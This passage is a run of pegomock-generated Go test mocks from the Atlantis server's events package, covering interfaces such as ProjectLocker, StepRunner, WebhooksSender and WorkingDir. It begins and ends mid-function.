pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } } return } ================================================ FILE: server/events/mocks/mock_project_lock.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: ProjectLocker) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockProjectLocker struct { fail func(message string, callerSkip ...int) } func NewMockProjectLocker(options ...pegomock.Option) *MockProjectLocker { mock := &MockProjectLocker{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockProjectLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectLocker) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*events.TryLockResponse, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectLocker().") } _params := []pegomock.Param{log, pull, user, workspace, project, repoLocking} _result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", _params, []reflect.Type{reflect.TypeOf((**events.TryLockResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *events.TryLockResponse var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*events.TryLockResponse) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockProjectLocker) VerifyWasCalledOnce() *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockProjectLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockProjectLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockProjectLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockProjectLocker struct { mock *MockProjectLocker invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) *MockProjectLocker_TryLock_OngoingVerification { _params := []pegomock.Param{log, pull, user, workspace, project, repoLocking} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", _params, verifier.timeout) return &MockProjectLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockProjectLocker_TryLock_OngoingVerification struct { mock *MockProjectLocker methodInvocations []pegomock.MethodInvocation } func (c *MockProjectLocker_TryLock_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.User, string, models.Project, bool) { log, pull, user, workspace, project, repoLocking := c.GetAllCapturedArguments() return log[len(log)-1], pull[len(pull)-1], user[len(user)-1], workspace[len(workspace)-1], project[len(project)-1], repoLocking[len(repoLocking)-1] } func (c *MockProjectLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.User, _param3 []string, _param4 []models.Project, _param5 []bool) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } if len(_params) > 2 { _param2 = make([]models.User, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.User) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]models.Project, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(models.Project) } } if len(_params) > 5 { _param5 = make([]bool, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(bool) } } } return } ================================================ FILE: server/events/mocks/mock_pull_cleaner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: PullCleaner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockPullCleaner struct { fail func(message string, callerSkip ...int) } func NewMockPullCleaner(options ...pegomock.Option) *MockPullCleaner { mock := &MockPullCleaner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPullCleaner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPullCleaner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPullCleaner) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPullCleaner().") } _params := []pegomock.Param{logger, repo, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("CleanUpPull", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockPullCleaner) VerifyWasCalledOnce() *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPullCleaner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPullCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPullCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPullCleaner struct { mock *MockPullCleaner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPullCleaner) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockPullCleaner_CleanUpPull_OngoingVerification { _params := []pegomock.Param{logger, repo, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUpPull", _params, verifier.timeout) return &MockPullCleaner_CleanUpPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPullCleaner_CleanUpPull_OngoingVerification struct { mock *MockPullCleaner methodInvocations []pegomock.MethodInvocation } func (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, repo, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } func (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } ================================================ FILE: server/events/mocks/mock_resource_cleaner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: ResourceCleaner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" jobs "github.com/runatlantis/atlantis/server/jobs" "reflect" "time" ) type MockResourceCleaner struct { fail func(message string, callerSkip ...int) } func NewMockResourceCleaner(options ...pegomock.Option) *MockResourceCleaner { mock := &MockResourceCleaner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockResourceCleaner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockResourceCleaner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockResourceCleaner) CleanUp(pullInfo jobs.PullInfo) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockResourceCleaner().") } _params := []pegomock.Param{pullInfo} pegomock.GetGenericMockFrom(mock).Invoke("CleanUp", _params, []reflect.Type{}) } func (mock *MockResourceCleaner) VerifyWasCalledOnce() *VerifierMockResourceCleaner { return &VerifierMockResourceCleaner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockResourceCleaner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockResourceCleaner { return &VerifierMockResourceCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockResourceCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockResourceCleaner { return &VerifierMockResourceCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockResourceCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockResourceCleaner { return &VerifierMockResourceCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockResourceCleaner struct { mock *MockResourceCleaner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockResourceCleaner) CleanUp(pullInfo jobs.PullInfo) *MockResourceCleaner_CleanUp_OngoingVerification { _params := []pegomock.Param{pullInfo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUp", _params, verifier.timeout) return &MockResourceCleaner_CleanUp_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockResourceCleaner_CleanUp_OngoingVerification struct { mock *MockResourceCleaner methodInvocations []pegomock.MethodInvocation } func (c *MockResourceCleaner_CleanUp_OngoingVerification) GetCapturedArguments() jobs.PullInfo { pullInfo := c.GetAllCapturedArguments() return pullInfo[len(pullInfo)-1] } func (c *MockResourceCleaner_CleanUp_OngoingVerification) GetAllCapturedArguments() (_param0 []jobs.PullInfo) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]jobs.PullInfo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(jobs.PullInfo) } } } return } ================================================ FILE: server/events/mocks/mock_step_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: StepRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockStepRunner struct { fail func(message string, callerSkip ...int) } func NewMockStepRunner(options ...pegomock.Option) *MockStepRunner { mock := &MockStepRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockStepRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockStepRunner().") } _params := []pegomock.Param{ctx, extraArgs, path, envs} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockStepRunner) VerifyWasCalledOnce() *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockStepRunner struct { mock *MockStepRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) *MockStepRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, extraArgs, path, envs} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockStepRunner_Run_OngoingVerification struct { mock *MockStepRunner methodInvocations []pegomock.MethodInvocation } func (c *MockStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, []string, string, map[string]string) { ctx, extraArgs, path, envs := c.GetAllCapturedArguments() return ctx[len(ctx)-1], extraArgs[len(extraArgs)-1], path[len(path)-1], envs[len(envs)-1] } func (c *MockStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([][]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.([]string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(map[string]string) } } } return } ================================================ FILE: server/events/mocks/mock_webhooks_sender.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: WebhooksSender) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" webhooks "github.com/runatlantis/atlantis/server/events/webhooks" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockWebhooksSender struct { fail func(message string, callerSkip ...int) } func NewMockWebhooksSender(options ...pegomock.Option) *MockWebhooksSender { mock := &MockWebhooksSender{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockWebhooksSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWebhooksSender) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockWebhooksSender) Send(log logging.SimpleLogging, res webhooks.ApplyResult) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWebhooksSender().") } _params := []pegomock.Param{log, res} _result := pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWebhooksSender) VerifyWasCalledOnce() *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockWebhooksSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockWebhooksSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockWebhooksSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockWebhooksSender struct { mock *MockWebhooksSender invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockWebhooksSender) Send(log logging.SimpleLogging, res webhooks.ApplyResult) *MockWebhooksSender_Send_OngoingVerification { _params := []pegomock.Param{log, res} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) return &MockWebhooksSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWebhooksSender_Send_OngoingVerification struct { mock *MockWebhooksSender methodInvocations []pegomock.MethodInvocation } func (c *MockWebhooksSender_Send_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, webhooks.ApplyResult) { log, res := c.GetAllCapturedArguments() return log[len(log)-1], res[len(res)-1] } func (c *MockWebhooksSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []webhooks.ApplyResult) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(webhooks.ApplyResult) } } } return } ================================================ FILE: server/events/mocks/mock_working_dir.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: WorkingDir) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockWorkingDir struct { fail func(message string, callerSkip ...int) } func NewMockWorkingDir(options ...pegomock.Option) *MockWorkingDir { mock := &MockWorkingDir{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockWorkingDir) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWorkingDir) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, headRepo, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("Clone", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p} _result := pegomock.GetGenericMockFrom(mock).Invoke("Delete", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteForWorkspace", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p, workspace, path, projectName} _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlan", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetGitUntrackedFiles", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 []string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].([]string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{r, p} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetWorkingDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, cloneDir} _result := pegomock.GetGenericMockFrom(mock).Invoke("HasDiverged", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{logger, headRepo, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("MergeAgain", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 bool var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockWorkingDir) GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } _params := []pegomock.Param{r, p, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("GitReadLock", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem()}) var _ret0 func() if len(_result) != 0 && _result[0] != nil { _ret0 = _result[0].(func()) } if _ret0 == nil { _ret0 = func() {} } return _ret0 } func (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockWorkingDir struct { mock *MockWorkingDir invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification { _params := []pegomock.Param{logger, headRepo, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clone", _params, verifier.timeout) return &MockWorkingDir_Clone_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_Clone_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { logger, headRepo, p, workspace := c.GetAllCapturedArguments() return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } func (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } func (verifier *VerifierMockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification { _params := []pegomock.Param{logger, r, p} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Delete", _params, verifier.timeout) return &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockWorkingDir_Delete_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } func (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, r, p := c.GetAllCapturedArguments() return logger[len(logger)-1], r[len(r)-1], p[len(p)-1] } func (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } func (verifier *VerifierMockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification { _params := []pegomock.Param{logger, r, p, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteForWorkspace", _params, verifier.timeout) return 